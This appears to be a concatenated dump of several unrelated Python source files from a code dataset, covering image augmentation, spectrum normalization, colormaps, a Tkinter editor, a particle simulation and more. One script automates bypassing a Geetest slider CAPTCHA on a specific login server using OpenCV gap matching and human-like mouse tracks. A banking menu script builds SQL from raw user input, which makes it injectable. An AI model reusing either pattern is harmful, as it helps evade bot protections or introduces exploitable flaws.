np.full(shape=[ih, iw, 3], fill_value=128.0)\n dw, dh = (iw - nw) // 2, (ih - nh) // 2\n image_paded[dh: nh + dh, dw: nw + dw, :] = image_resized\n image_paded = image_paded / 255.\n\n if bboxes is None:\n return image_paded\n else:\n bboxes[:, [0, 2]] = bboxes[:, [0, 2]] * scale + dw\n bboxes[:, [1, 3]] = bboxes[:, [1, 3]] * scale + dh\n return image_paded, bboxes\n\ndef random_augmentations(image, bboxes, prob=0.5):\n for aug in [horizontal_flip, crop, translate]:\n if random.random() <= prob:\n image, bboxes = aug(np.copy(image), np.copy(bboxes))\n return image, bboxes\n\ndef horizontal_flip(image, bboxes):\n _, w, _ = image.shape\n image = image[:, ::-1, :]\n bboxes[:, [0,2]] = w - bboxes[:, [2,0]]\n\n return image, bboxes\n\ndef crop(image, bboxes):\n h, w, _ = image.shape\n max_bbox = np.concatenate([np.min(bboxes[:, 0:2], axis=0), np.max(bboxes[:, 2:4], axis=0)], axis=-1)\n\n max_l_trans = max_bbox[0]\n max_u_trans = max_bbox[1]\n max_r_trans = w - max_bbox[2]\n max_d_trans = h - max_bbox[3]\n\n crop_xmin = max(0, int(max_bbox[0] - random.uniform(0, max_l_trans)))\n crop_ymin = max(0, int(max_bbox[1] - random.uniform(0, max_u_trans)))\n crop_xmax = max(w, int(max_bbox[2] + random.uniform(0, max_r_trans)))\n crop_ymax = max(h, int(max_bbox[3] + random.uniform(0, max_d_trans)))\n\n image = image[crop_ymin : crop_ymax, crop_xmin : crop_xmax]\n\n bboxes[:, [0, 2]] = bboxes[:, [0, 2]] - crop_xmin\n bboxes[:, [1, 3]] = bboxes[:, [1, 3]] - crop_ymin\n\n return image, bboxes\n\ndef translate(image, bboxes):\n h, w, _ = image.shape\n max_bbox = np.concatenate([np.min(bboxes[:, 0:2], axis=0), np.max(bboxes[:, 2:4], axis=0)], axis=-1)\n\n max_l_trans = max_bbox[0]\n max_u_trans = max_bbox[1]\n max_r_trans = w - max_bbox[2]\n max_d_trans = h - max_bbox[3]\n\n tx = random.uniform(-(max_l_trans - 1), (max_r_trans - 1))\n ty = random.uniform(-(max_u_trans - 1), (max_d_trans - 1))\n\n M = np.array([[1, 0, tx], [0, 1, ty]])\n image = cv2.warpAffine(image, M, (w, h))\n\n bboxes[:, [0, 2]] = bboxes[:, [0, 2]] + tx\n bboxes[:, [1, 3]] = bboxes[:, [1, 3]] + ty\n\n return image, bboxes","repo_name":"AlexFSmirnov/TensorFlow2-YOLOv3","sub_path":"utils/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6194447613","text":"#from __future__ import print_function # good idea for python < 3\n#from __future__ import division # good idea for python < 3\nimport numpy as np\nfrom astropy.io import fits\nimport matplotlib.pyplot as plt\n'''\nreads in a PHOENIX model spectrum (FITS format)\nmakes a continuum flattened (normalized) spectrum over a specified wavelength range\nsaves the result to a text file\n\n'specfile' is the FITS HiRes PHOENIX spectrum file which lives in directory 'dir'\n'outtxt' is the new text file that will be written\n'idxstart' and 'idxend' set the index of the wavelengths that are written out\n(you can set the indices to 0 and -1, but that's a much bigger wavelength range than APOGEE)\n\nyou can get PHOENIX spectra from here: http://phoenix.astro.physik.uni-goettingen.de\n(click \"version 2.0 of the spectral library\" and login as a guest when prompted)\n'''\n\ndef moving_average(series, window=100, sigma=50):\n '''\n Calculates the moving average of a series by using a Gaussian kernel to smooth it.\n This function is used by continuumFlattenSpec.\n Borrowed from http://www.nehalemlabs.net/prototype/blog/2014/04/12/how-to-fix-scipys-interpolating-spline-default-behavior/\n\n Input: series or array, window size, and Gaussian width (sigma).\n Returns: the smoothed data and the smoothed variance.\n '''\n from scipy.signal import gaussian\n from scipy.ndimage import filters\n b = gaussian(window, sigma)\n average = filters.convolve1d(series, b/b.sum())\n var = filters.convolve1d(np.power(series-average,2), b/b.sum()) \n return average, var\n\ndef continuumFlattenSpec(waves, fluxes, win=50, varwin=60, varsig=100, weight=1.0, fitplot=True):\n '''\n Fits a spline to a spectrum and divides to continuum flatten it.\n Weighting inspired by http://www.nehalemlabs.net/prototype/blog/2014/04/12/how-to-fix-scipys-interpolating-spline-default-behavior/\n \n !!WARNING!! this function is not one-size-fits-all and the input parameters will\n probably need to be significantly tweaked for your specific case! It is VERY EASY\n to accidentally overfit or underfit your spectrum and get a poor continuum fit!\n \n More specifically, this function traces the shape of the spectrum in two ways:\n (1) the maximum values of a rolling window function with size 'win'\n --> this traces the TOP of the spectrum and may be an overestimate if it's spikey\n (2) a Gaussian-smoothed version of the spectrum with window size 'varwin' and Gaussian width 'varsig'\n --> this traces the spectrum's shape but is systematically LOWER than the continuum\n --> the variance of the spectrum is also saved during this step\n \n Then, scipy's UnivariateSpline function is used to fit a 5th order spline to either\n (1) OR a combination of (1) and (2). In both cases, the fit is weighted by\n by 'weight' divided by the square root of /sqrt(variance).\n This kind of weighting helps balance overfitting vs. underfitting, as described \n at the link above, but it is not perfect.\n \n Finally, a plot of the result is shown (assuming 'fitplot' is True) so the user can\n decide if the continuum fit is acceptable or not.\n \n Input: wavelength array, flux array, and the parameters described above\n Returns: a pair of numpy arrays corresponding to wavelengths and flattened fluxes.\n Each array has length = original_length - 2*window.\n '''\n from scipy.interpolate import UnivariateSpline\n import pandas as pd\n from PyAstronomy import pyasl \n # Fit the continuum\n window = win\n specsmooth_top = pd.Series(fluxes).rolling(window=window, center=True).max()\n specsmooth_bot, variance = np.array(moving_average(fluxes, window=varwin, sigma=varsig))\n variance = variance[window/2:-window/2]\n w = weight/np.sqrt(variance)\n specsmooth = []\n for top in np.array(specsmooth_top)[window/2:-window/2]:\n specsmooth.append(top) # BETTER CHOICE IF SPECTRUM IS NOT SPIKEY\n #specsmooth.append((top + bot) / 2.) # BETTER CHOICE IF SPECTRUM IS SPIKEY\n waves = waves[window/2:-window/2]\n fluxes = fluxes[window/2:-window/2]\n continuum = UnivariateSpline(waves, specsmooth, k=5, w=w)(waves)\n # Plot the result\n if fitplot == True:\n fig = plt.figure()\n fig.add_subplot(211)\n plt.plot(waves, fluxes, 'b-', label='spectrum')\n plt.plot(waves, np.array(specsmooth_top)[window/2:-window/2], 'k:')\n plt.plot(waves, np.array(specsmooth_bot)[window/2:-window/2], 'k:')\n plt.plot(waves, specsmooth, 'k-', label='smoothed')\n plt.plot(waves, continuum, 'r-', label='continuum')\n plt.legend()\n fig.add_subplot(212)\n plt.plot(waves, fluxes/continuum, 'b-', label='flattened')\n plt.axhline(y=1, ls=':', color='k')\n plt.legend()\n plt.show() \n return waves, fluxes/continuum # numpy arrays\n\n\n### MAIN PROGRAM BEGINS HERE ###\n\n#######################\n## edit values below ##\n#######################\n# directory where wavelength file lives:\nwavedir = '../../../PHOENIX/PHOENIX-ACES-AGSS-COND-2011/'\n# directory where spectrum file lives:\nspecdir = wavedir + 'Z-0.0/'\n# spectrum file you want to run the program on:\nspecfile = 'lte05500-2.50-0.0.PHOENIX-ACES-AGSS-COND-2011-HiRes.fits'\n# wavelength region that will be fit with a spline:\nwavestart = 14000; waveend = 18000 #wavestart = 3700; waveend = 9000\n# wavelength region that will be saved (must be no longer than the above):\ntruncstart = 15000; truncend = 17000 #truncstart = 4400; truncend = 5800\n# spline fitting parameters (final result is VERY SENSITIVE to these!!):\nsplinewindow = 100\nvariancewindow = 60\nvariancesigma = 150\nsplineweight = 0.9\n#######################\n## edit values above ##\n#######################\n\n# define full input and output file paths\nwavefits = wavedir + 'WAVE_PHOENIX-ACES-AGSS-COND-2011.fits'\ninfits = specdir + specfile\nouttxt = specfile[:-5] + '_' + str(truncstart) + '-' + str(truncend) + '-norm.txt'\n\n# read in PHOENIX FITS spectrum and corresponding wavelength FITS file\nhdu = fits.open(infits)\nspec = hdu[0].data\nhduwave = fits.open(wavefits)\nwave = hduwave[0].data\n\n# put the wavelength array in goddamn air units\n# reference: Huswer et al. 2013\nwave = wave / (1.0 + 0.05792105/(238.0185-(1e4/wave)**2) + 0.00167917/(57.362-(1e4/wave)**2))\n\n# truncate spectrum to the range you want to fit\nidxstart = np.where(wave > wavestart)[0][0]\nidxend = np.where(wave > waveend)[0][0]\nwavechunk = wave[idxstart:idxend]\nspecchunk = spec[idxstart:idxend]\n\n# measure the continuum level and divide by it to flatten the spectrum\nprint('Flattening spectrum...')\nwavenorm, specnorm = continuumFlattenSpec(wavechunk, specchunk, win=splinewindow,\n varwin=variancewindow, varsig=variancesigma, \n weight=splineweight, fitplot=True)\n\n# truncate the flattened spectrum to final desired wavelength range\nidxtruncstart = np.where(wavenorm > truncstart-100)[0][0]\nidxtruncend = np.where(wavenorm > truncend+100)[0][0]\nwavenorm = wavenorm[idxtruncstart:idxtruncend]\nspecnorm = specnorm[idxtruncstart:idxtruncend]\n\n# plot the final spectrum\nplt.plot(wavenorm, specnorm, ls='None', marker='.', label='final flattened spectrum')\nplt.legend()\nplt.show()\n\n# write the result to a text file\nf = open(outtxt, 'w')\nfor wentry, sentry in zip(wavenorm, specnorm):\n print(wentry, sentry, file=f)\nf.close()\nprint('New spectrum written to {0}'.format(outtxt))","repo_name":"mrawls/BF-rvplotter","sub_path":"auxiliary/phoenix2txt.py","file_name":"phoenix2txt.py","file_ext":"py","file_size_in_byte":7488,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"7860270386","text":"import numpy as np\nfrom matplotlib.colors import ListedColormap\nimport os\n\ndef is_float(element) -> bool:\n try:\n float(element)\n return True\n except ValueError:\n return False\n\ndef cmap(name):\n if name.endswith('_r'):\n name = name[:-2]\n flag_reverse = True\n else:\n flag_reverse = False\n\n cwd = os.path.abspath('')\n f = open(cwd+'/{}.rgb'.format(name), 'r')\n lines = f.readlines()\n lines = list(map(lambda s: s.strip('\\n'), lines))\n\n li_rgb = []\n for i in range(len(lines)):\n line = lines[i]\n\n colors = [float(s) for s in line.split() if is_float(s)]\n #list only numeric\n\n if len(colors) == 3: #append to list if fully rgb\n li_rgb.append(colors)\n\n if flag_reverse:\n li_rgb = list(reversed(li_rgb))\n\n data = np.array(li_rgb)\n data = data / np.max(data)\n cmap = ListedColormap(data, name=name)\n return cmap\n\n","repo_name":"SminYu/pyncmap","sub_path":"ncl_colormap.py","file_name":"ncl_colormap.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19821457747","text":"from playwright.sync_api import Playwright, sync_playwright\nimport cv2 as cv\nimport random\n\n\ndef targetx():\n img_datu = cv.imread('max_cut.png', 0) # 裁剪后的大图\n edges_datu = cv.Canny(img_datu, 100, 200)\n\n img_xiaotu = cv.imread('xiaotu.png', 0) # 小图\n edges_xiaotu = cv.Canny(img_xiaotu, 100, 200)\n\n method = cv.TM_CCOEFF\n res = cv.matchTemplate(edges_datu, edges_xiaotu, method)\n min_val, max_val, min_loc, max_loc = cv.minMaxLoc(res)\n top_left = min_loc\n x_target = top_left[0]\n print('x_target=' + str(x_target))\n return x_target\n\n\n# 鼠标过轨迹,否则会被小怪兽吃了!\ndef get_track(distance): # distance为传入的总距离\n track = []\n current = 0\n mid = distance * 3 / 5\n t = 0.2\n v = 1\n while current < distance:\n if current < mid:\n a = 4\n else:\n a = -2\n v0 = v\n v = v0 + a * t\n move = v0 * t + 1 / 2 * a * t * t\n current += move\n track.append(round(move))\n return track\n\n\ndef run(playwright: Playwright) -> None:\n browser = playwright.chromium.launch(headless=False)\n context = browser.new_context()\n page = context.new_page()\n url = 'http://39.103.140.108:8089/login' # 你懂得!\n page.goto(url)\n page.wait_for_timeout(2000)\n page.locator(\"text=点击按钮进行验证\").click()\n page.wait_for_timeout(2000)\n page.locator(\".geetest_slider_button\").click()\n page.wait_for_timeout(2000)\n page.locator('//canvas[2]').screenshot(path=\"max.png\") # 截图验证码\n page.wait_for_timeout(2000)\n img = cv.imread(\"max.png\", flags=1) # flags=1 读取彩色图像(BGR)\n element = page.query_selector('//body[1]/div[2]/div[2]/div[2]/div[1]/div[2]/div[2]') # xpath 滑块小元素\n box = element.bounding_box()\n xmin, ymin, w, h = int(box[\"width\"]), 0, 261, 161 # 矩形裁剪区域 (ymin:ymin+h, xmin:xmin+w) 的位置参数\n imgCrop = img[ymin:ymin + h, xmin:xmin + w].copy() # 切片获得裁剪后保留的��像区域\n cv.imwrite('max_cut.png', imgCrop) # 保存裁剪的图像\n page.wait_for_timeout(2000)\n x = int(box[\"x\"] + box[\"width\"] / 2)\n y = int(box[\"y\"] + box[\"height\"] / 2)\n page.mouse.move(x + random.randint(-5, 5), y + random.randint(-5, 5)) # 小滑动拖动的滑块中心位置\n page.wait_for_timeout(500)\n page.mouse.down()\n page.wait_for_timeout(500)\n x_target = targetx() + int(box[\"width\"])\n track_list = get_track(x_target)\n i = 0\n for track in track_list:\n page.mouse.move(x + track, y + random.randint(-2, 2), steps=2)\n x = x + track\n if i < 0.8 * track_list.__len__():\n page.wait_for_timeout(random.randint(50, 80))\n else:\n page.wait_for_timeout(random.randint(150, 200))\n i = i + 1\n page.wait_for_timeout(500)\n page.mouse.up()\n page.wait_for_timeout(1000)\n # print(page.content())\n context.close()\n browser.close()\n\n\nwith sync_playwright() as playwright:\n run(playwright)\n","repo_name":"xdpbydl/untitled111111","sub_path":"NJ/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69916000855","text":"from tkinter.filedialog import *\n\nfrom discreptide.control import FileTools\nfrom discreptide.model.Settings import Settings\nfrom discreptide.view.CommandBar import CommandBar\nfrom discreptide.view.MenuBar import MenuBar\nfrom discreptide.view.TextEditor import TextEditor\nfrom discreptide.view.TreeView import TreeView\nfrom discreptide.view.pdf_viewer import PDFViewer\n\nWINDOW = None\n\n\ndef open_workspace():\n global WINDOW\n if WINDOW is not None:\n WINDOW.destroy()\n Tk().withdraw()\n directory = askdirectory()\n if directory == '':\n directory = Settings.MAIN.get('last_workspace')\n Tk().destroy()\n Settings.MAIN.set('last_workspace', directory)\n Settings.MAIN.save()\n WINDOW = Window(directory)\n\n\ndef open_last_workspace():\n global WINDOW\n if WINDOW is not None:\n WINDOW.destroy()\n Tk().withdraw()\n directory = Settings.MAIN.get('last_workspace')\n Tk().destroy()\n WINDOW = Window(directory)\n\n\nclass Window(Tk):\n\n def __init__(self, workspace_folder):\n super().__init__()\n self.workspace_folder = workspace_folder\n self.title(\"Discrept Editor\")\n\n self.tree = None\n self.editor = None\n self.command_bar = None\n self.viewer = None\n\n self.build_view()\n self.menu_bar = MenuBar(self)\n self.config(menu=self.menu_bar, background='grey')\n\n self.key_binding()\n self.mainloop()\n\n def key_binding(self):\n top = self.winfo_toplevel()\n\n top.bind('', lambda: FileTools.save_file(self.editor))\n top.bind('', lambda: FileTools.save_file(self.editor))\n\n top.bind('', lambda: FileTools.save_file_as(self.editor))\n top.bind('', lambda: FileTools.save_file_as(self.editor))\n\n self.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\n\n def build_view(self):\n exterior_frame = Frame(self, background='light grey')\n frame = Frame(exterior_frame, background='light grey')\n\n # Widgets\n self.editor = TextEditor(frame)\n self.viewer = PDFViewer(frame)\n self.command_bar = CommandBar(exterior_frame, self.editor, self.viewer)\n self.tree = TreeView(frame, self.editor)\n\n # Window Configuration\n frame.columnconfigure(3, weight=1)\n frame.rowconfigure(0, weight=1)\n\n # Widget Locations\n self.tree.grid(column=0, row=0, columnspan=1, sticky=('N', 'E', 'S', 'W'), pady=(5, 5))\n self.editor.grid(column=1, row=0, columnspan=3, sticky=('N', 'E', 'S', 'W'), padx=(5, 0), pady=(5, 5))\n self.viewer.grid(column=4, row=0, columnspan=1, sticky=('N', 'E', 'S', 'W'), padx=(5, 0), pady=(5, 5))\n\n self.command_bar.grid(column=0, row=0, rowspan=1, sticky=('N', 'E', 'S', 'W'))\n frame.grid(column=0, row=1, rowspan=3, sticky=('N', 'E', 'S', 'W'))\n\n exterior_frame.columnconfigure(0, weight=1)\n exterior_frame.rowconfigure(3, weight=1)\n exterior_frame.pack(expand=True, fill=BOTH, padx=(10,10))\n\n def on_closing(self):\n self.destroy()\n # if messagebox.askokcancel(\"Quit\", \"Do you want to quit?\"):\n # self.destroy()\n quit(0)\n","repo_name":"areed2017/DiscreptIDE","sub_path":"discreptide/view/Window.py","file_name":"Window.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73619797334","text":"import pprint\nfrom vault.credentials import Credentials\nfrom googleapiclient.discovery import build\n\n\ndef google_search(query):\n # Build a service object for interacting with the API. Visit\n # the Google APIs Console \n # to get an API key for your own application.\n # Handle if no search results found\n cred=Credentials()\n service = build(\"customsearch\", \"v1\",\n developerKey=cred.get_google_api_key())\n\n result = service.cse().list(\n q=query,\n cx=cred.get_google_cse_key(),\n ).execute()\n try:\n items = result[\"items\"]\n top_five_links = []\n for i in items:\n if(len(top_five_links) < 5):\n top_five_links.append(i[\"link\"])\n pprint.pprint(result[\"items\"])\n return top_five_links\n except:\n return\n\n","repo_name":"yogesh019/discord-bot","sub_path":"googleSearch.py","file_name":"googleSearch.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28700875988","text":"#import sys\n#sys.stdin = open('4880_input.txt')\n\n\narr = [0, 1, 3, 2, 1]\n\nlose = [0, 2, 3, 1]\ndef play(s, e):\n if s == e:\n return s\n\n mid = (s + e) // 2\n l = play(s, mid)\n r = play(mid + 1, e)\n\n if lose[arr[l]] == arr[r]:\n return r\n return l\nprint(play(1, 4))\n\n\n\n\n\n\n\n\n\n","repo_name":"gkska741/Studies","sub_path":"Algorithm/일간공부기록/0824/4880_토너먼트카드게임.py","file_name":"4880_토너먼트카드게임.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43762990372","text":"import os\r\nimport sqlite3\r\n\r\n#Coneção com o banco\r\nbanco = sqlite3.connect('Caixa_Eletronico.db')\r\ncursor = banco.cursor()\r\n\r\ndef query(conexao,sql):\r\n try:\r\n c = conexao.cursor()\r\n c.execute(sql)\r\n conexao.commit()\r\n except sqlite3.Error as ex:\r\n print(ex)\r\n finally:\r\n print('Operação finalizada, obrigado por utilizar o Banco do Embaixador')\r\n #conexao.close()\r\n\r\ndef consultar(conexao,sql):\r\n c = conexao.cursor()\r\n c.execute(sql)\r\n res = c.fetchall()\r\n #conexao.close\r\n return res\r\n\r\n\r\n\r\n\r\n\r\ndef menuPrincipal():\r\n nome = input('Qual seu nome?' )\r\n print('Bem-vindo ao Banco do Embaixador,', nome,)\r\n os.system('pause')\r\n os.system(\"cls\")\r\n print('1 - Criar conta')\r\n print('2 - Conferir saldo')\r\n print('3 - Atualizar dados')\r\n print('4 - Apagar conta')\r\n print('5 - Sair')\r\n\r\ndef Criarconta():\r\n os.system('cls')\r\n nome = input('Digite seu nome: ')\r\n idade = input('Digite sua idade: ')\r\n email = input('Digite seu email: ')\r\n dinheiro = input('Digite quanto deseja depositar: ')\r\n vsql = \"INSERT INTO id (nome, idade, email, dinheiro) VALUES ('\"+nome+\"', '\"+idade+\"','\"+email+\"','\"+dinheiro+\"')\"\r\n query(banco,vsql)\r\n\r\ndef Conferirsaldo():\r\n os.system('cls')\r\n nome = input('Digite seu nome: ')\r\n vsql = \"SELECT dinheiro FROM id WHERE nome = '\" + nome +\"'\"\r\n res = consultar(banco,vsql)\r\n if res:\r\n for linha in res:\r\n print(\"Saldo disponível: R$\", linha[0])\r\n os.system('pause')\r\n else:\r\n print(\"Não foi encontrado saldo para o nome digitado.\")\r\n os.system('pause')\r\n\r\ndef Atualizardados():\r\n os.system('cls')\r\n vid = input('Digite o nome que gostaria de alterar os dados: ')\r\n r = consultar(banco,\"SELECT * FROM id WHERE nome LIKE '%\"+vid+\"%'\")\r\n rnome = r [0][0]\r\n ridade = r [0][1]\r\n remail = r [0][2]\r\n rsaldo = r [0][3]\r\n vnome = input('Digite o novo nome:')\r\n vidade = input('Digite a nova idade: ')\r\n vemail = input('Digite o novo email: ')\r\n #vsaldo = input('Digite o saldo: ')\r\n vsaldo_input = input('Digite o saldo (use + para adicionar e - para subtrair), obrigatoria a atualização de saldo!: ')\r\n vsaldo = rsaldo + float(vsaldo_input[1:]) if vsaldo_input.startswith('+') else rsaldo - float(vsaldo_input[1:])\r\n if (len(vnome)==0):\r\n vnome = rnome\r\n if (len(vidade)==0):\r\n vidade = str(ridade)\r\n if (len(vemail)==0):\r\n vemail = remail\r\n #if (len(vsaldo)==0):\r\n #vsaldo = str(rsaldo)\r\n vsql = \"UPDATE id SET nome= '\"+vnome+\"', idade='\"+vidade+\"', email='\"+vemail+\"', dinheiro='\"+str(vsaldo)+\"'WHERE nome = '\"+vid+\"'\"\r\n query(banco,vsql) \r\n\r\n\r\n\r\n\r\ndef Apagarconta():\r\n os.system('cls')\r\n nome = input('Digite o nome do usuario que deseja excluir permanentemente! ')\r\n vsql = \"DELETE FROM id WHERE nome = '\"+nome+\"'\"\r\n query(banco,vsql)\r\n\r\n\r\nopc = 0\r\nwhile opc !=5:\r\n menuPrincipal()\r\n opc = int(input('Digite uma opção: '))\r\n if opc == 1:\r\n Criarconta()\r\n elif opc == 2:\r\n Conferirsaldo()\r\n elif opc == 3:\r\n Atualizardados()\r\n elif opc == 4:\r\n Apagarconta()\r\n elif opc == 5:\r\n os.system('cls')\r\n print('Obrigado por utilizar o Banco do Embaixador')\r\n \r\n else:\r\n os.system('cls')\r\n print('opção invalida')\r\n os.system('pause')\r\n\r\n#banco.close()\r\nos.system('pause')","repo_name":"kayanaguiar/Projetos","sub_path":"Caixa Eletronico/caixa_eletronico.py","file_name":"caixa_eletronico.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14070937148","text":"from PyQt4.QtGui import QApplication, QGraphicsView, QGraphicsScene, QColor, QPainter\nfrom robot import Robot\nimport sys\n\napp = QApplication(sys.argv)\n\nscene = QGraphicsScene(-200, -200, 400, 400)\n\nrobot = Robot()\nrobot.scale(1.2, 1.2)\nrobot.setPos(0, -20)\nscene.addItem(robot)\nview = QGraphicsView(scene)\nview.setRenderHint(QPainter.Antialiasing)\nview.setViewportUpdateMode(QGraphicsView.BoundingRectViewportUpdate)\nview.setBackgroundBrush(QColor(230, 200, 167))\nview.setWindowTitle(\"Drag and Drop Robot\")\nview.show()\n\napp.exec_()\n\n","repo_name":"mike-perdide/gitbuster","sub_path":"graphics_sandbox/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"67"} +{"seq_id":"3532851253","text":"\"\"\"\nWebScraper.py for web scraping\n\"\"\"\nfrom datetime import timedelta, date, datetime\nfrom GoogleNews import GoogleNews\nimport pandas as pd\nimport os.path\n\nclass WebScraper:\n def __init__(self):\n self.__results = [] # {'title': tmp_text, 'media': tmp_media,'date': tmp_date,'desc': tmp_desc, 'link': tmp_link,'img': tmp_img}\n\n def _save_csv(self, save_file_path, googlenews):\n df = pd.DataFrame(googlenews.results())\n print(\"saved rows \",df.shape[0])\n\n if (not os.path.isfile(save_file_path)):\n df.to_csv(save_file_path, index=False, mode = 'w')\n googlenews.clear()\n return\n df.to_csv(save_file_path, index=False, mode = 'a', header=False)\n googlenews.clear()\n\n def _daterange(self):\n for n in range(int ((self.__end - self.__start).days+1)):\n yield self.__start + timedelta(n)\n\n def setListofDates(self, start, end):\n self.__start = start\n self.__end = end\n self.__all_date = []\n for single_date in self._daterange():\n self.__all_date.append(single_date.strftime(\"%m/%d/%Y\"))\n print(self.__all_date[-1])\n\n\n def scrapAllPages(self, googlenews, save_file_path=\"\"):\n for cur_date in self.__all_date:\n print(\"The current date searching \",cur_date)\n googlenews.setTimeRange(cur_date, cur_date)\n\n page_counter = 1\n while True:\n if(not googlenews.search(page_counter)):\n print(\"last page is \", str(page_counter - 1))\n break\n if save_file_path:\n self._save_csv(save_file_path, googlenews)\n page_counter += 1 \n","repo_name":"jinseo99/Newscraper","sub_path":"WebScraper.py","file_name":"WebScraper.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5206736099","text":"'''\r\nAuthor: ZHAO Zinan\r\nCreated: 02. April 2019\r\n\r\n1) If the elements of index i and (i+1) are equal then, double the value at index i\r\nand replace the element at index (i+1) with 0. \r\n2) If the element at index i is 0, then ignore it.\r\n3) Any number (element in an array) must be modified only once.\r\n4) At the end, shift all the zeros (0s) to the right of the array and remaining\r\nnonzeros to the left of the array.\r\nExample: \r\nInput: 2 2 0 4 0 8\r\nOutput: 4 4 8 0 0 0\r\nInput: 2 2 0 4 0 2\r\nOutput: 4 4 2 0 0 0\r\n\r\n'''\r\ndef shift(arr):\r\n if not arr:\r\n return []\r\n # inplace\r\n ptr=0\r\n ptrresult=0\r\n length = len(arr)\r\n\r\n while(ptr None:\n self.radii = radii\n self.mass = vector_of_masses\n self.x = x\n self.y = y\n self.v_x = v_x\n self.v_y = v_y\n self.radii_sum = self.radii[:, None] + self.radii[None, :]\n\n\ndef get_init_conditions(n_particles, position_limits_x, position_limits_y, velocity_limits_x, velocity_limits_y, radii_limits):\n \"\"\"\n This function creates initial distribution of particle positions, velocities, and radii\n The while loop ensures that all particles are initialy placed without overlap\n Input:\n n_particles - number of particles in the simulations\n position_limits_x: list of low and high limits for initial particle positions on x axis\n position_limits_y: list of low and high limits for initial particle positions on y axis\n velocity_limits_x: list of low and high limits for initial particle velocities on x axis\n velocity_limits_y: list of low and high limits for initial particle velocities on y axis\n radii_limits: list of low and high limits for particle radii\n Output:\n x_init: initial x coordinates \n y_init: initial y coordinates \n v_x_init: initial x velocities \n v_y_init: initial y velocities \n radii: vector of particles radii \n \"\"\"\n radii = np.random.uniform(low=radii_limits[0], high=radii_limits[1], size=(n_particles,))\n coordinates = []\n\n x_first = np.random.uniform(low=position_limits_x[0], high=position_limits_x[1], size=(1,))[0]\n y_first = np.random.uniform(low=position_limits_y[0], high=position_limits_y[1], size=(1,))[0]\n coordinates.append([x_first, y_first])\n\n while len(coordinates) < n_particles: \n x_check = np.random.uniform(low=position_limits_x[0], high=position_limits_x[1], size=(1,))[0]\n y_check = np.random.uniform(low=position_limits_y[0], high=position_limits_y[1], size=(1,))[0]\n coordinates.append([x_check, y_check])\n radii_sum = radii[:len(coordinates), None] + radii[None, :len(coordinates)]\n distance_matrix = np.linalg.norm(np.array(coordinates) - np.array(coordinates)[:,None], axis=-1)\n overlapping_particles_indicies = np.where((distance_matrix != 0) & (distance_matrix <= radii_sum+1.0))\n if overlapping_particles_indicies[0].shape[0] > 0:\n del coordinates[-1]\n \n x_init = np.array(coordinates).T[0]\n y_init = np.array(coordinates).T[1]\n\n v_x_init = np.random.uniform(low=velocity_limits_x[0], high=velocity_limits_x[1], size=(n_particles,))\n v_y_init = np.random.uniform(low=velocity_limits_y[0], high=velocity_limits_y[1], size=(n_particles,))\n return x_init, y_init, v_x_init, v_y_init, radii\n\n\ndef translate(particles, dt=0.01):\n \"\"\"\n Calculates particles updated positions\n \"\"\"\n x_new = particles.x + particles.v_x * dt\n y_new = particles.y + particles.v_y * dt\n return x_new, y_new\n\n\ndef accelerate(particles, acceleration_vector, dt=0.01):\n \"\"\"\n Updates particles velocities due to acceleration\n \"\"\"\n particles.v_x = particles.v_x + acceleration_vector[0] * dt\n particles.v_y = particles.v_y + acceleration_vector[1] * dt\n\n\ndef update_positions(particles, x_new, y_new, box_size_x, box_size_y, restitution_coef_bc=1.0):\n \"\"\"\n This function detects particle-border colissions and updates particle positions \n \"\"\"\n # Particle-boundary collisions\n particles.v_x[np.where(x_new + particles.radii > box_size_x/2)] = -1 * restitution_coef_bc * particles.v_x[np.where(x_new + particles.radii > box_size_x/2)]\n particles.v_x[np.where(x_new - particles.radii < -box_size_x/2)] = -1 * restitution_coef_bc * particles.v_x[np.where(x_new - particles.radii < -box_size_x/2)]\n particles.v_y[np.where(y_new + particles.radii > box_size_y/2)] = -1 * restitution_coef_bc * particles.v_y[np.where(y_new + particles.radii > box_size_y/2)]\n particles.v_y[np.where(y_new - particles.radii < -box_size_y/2)] = -1 * restitution_coef_bc * particles.v_y[np.where(y_new - particles.radii < -box_size_y/2)]\n # Adjust positions of colliding particles\n x_new[np.where(x_new + particles.radii > box_size_x/2)] = box_size_x/2 - particles.radii[np.where(x_new + particles.radii > box_size_x/2)]\n x_new[np.where(x_new - particles.radii < -box_size_x/2)] = -box_size_x/2 + particles.radii[np.where(x_new - particles.radii < -box_size_x/2)]\n y_new[np.where(y_new + particles.radii > box_size_y/2)] = box_size_y/2 - particles.radii[np.where(y_new + particles.radii > box_size_y/2)]\n y_new[np.where(y_new - particles.radii < -box_size_y/2)] = -box_size_y/2 + particles.radii[np.where(y_new - particles.radii < -box_size_y/2)]\n # Update particle positions\n particles.x = x_new\n particles.y = y_new\n\n\ndef calculate_distances(particles):\n \"\"\"\n This function calculates matrix of distances between all particles \n \"\"\"\n coordinates = np.column_stack((particles.x, particles.y))\n distance_matrix = np.linalg.norm(coordinates - coordinates[:,None], axis=-1)\n return distance_matrix\n\n\ndef get_colliding_particles_unique_index_pairs(colliding_particles_indicies):\n \"\"\"\n Distance matrix is symmetric and therefore collision search provides indicies 